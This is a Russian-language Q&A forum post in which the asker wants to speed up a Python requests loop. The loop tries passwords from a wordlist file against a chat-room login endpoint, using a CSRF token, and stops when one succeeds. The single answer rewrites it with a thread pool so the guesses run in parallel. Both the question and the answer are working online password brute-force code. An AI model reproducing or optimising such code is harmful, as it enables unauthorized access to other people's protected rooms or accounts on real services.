Как ускорить цикл for c requests?

data = open('data.txt').readlines()
data = map(lambda s: s.strip(), data)
data = list(data)


for i in data:
    payload_login_in_room = {
        'type': 'auto',
        'room_id': str(room_id),
        'server_id': '0',
        'browser': 'chrome',
        'browser_detail[name]': 'chrome',
        'browser_detail[version]': '101',
        'browser_detail[chrome]': 'true',
        'flash': '0',
        'mobile': '0',
        'mse': '1',
        'password': str(i),
        '_token': str(csrf_token),
        '_v2': '1'
    }

    auth_in_room = s.post(url=auth_url_in_room, headers=headers, data=payload_login_in_room)

    check_auth_in_room = auth_in_room.text.split('"success":')[1].split('"')[0]

    print(f"Не удача: {i}")

    if check_auth_in_room == "true,":
        print(f"Пароль: {i}")
        break

Как можно ускорить работу этого участка кода?


Ответы (1 шт):

Автор решения: vadim vaduxa
dt = [{'type': 'auto',
      'room_id': str(room_id),
      'server_id': '0',
      'browser': 'chrome',
      'browser_detail[name]': 'chrome',
      'browser_detail[version]': '101',
      'browser_detail[chrome]': 'true',
      'flash': '0',
      'mobile': '0',
      'mse': '1',
      'password': str(i),
      '_token': str(csrf_token),
      '_v2': '1'
    } for i in data]

import concurrent.futures
with concurrent.futures.ThreadPoolExecutor(max_workers=4) as e:
    futures = {e.submit(s.post, url=auth_url_in_room, headers=headers, data=d): d for d in dt}

    for f in concurrent.futures.as_completed(futures):
        d = futures[f]
        try:
            auth_in_room = f.result()
        except Exception as exc:
            print(f"Не удача: {d['password']}")
        else:
            check_auth_in_room = auth_in_room.text.split('"success":')[1].split('"')[0]
            if check_auth_in_room == "true,":
                print(f"Пароль: {d['password']}")
                break
→ Ссылка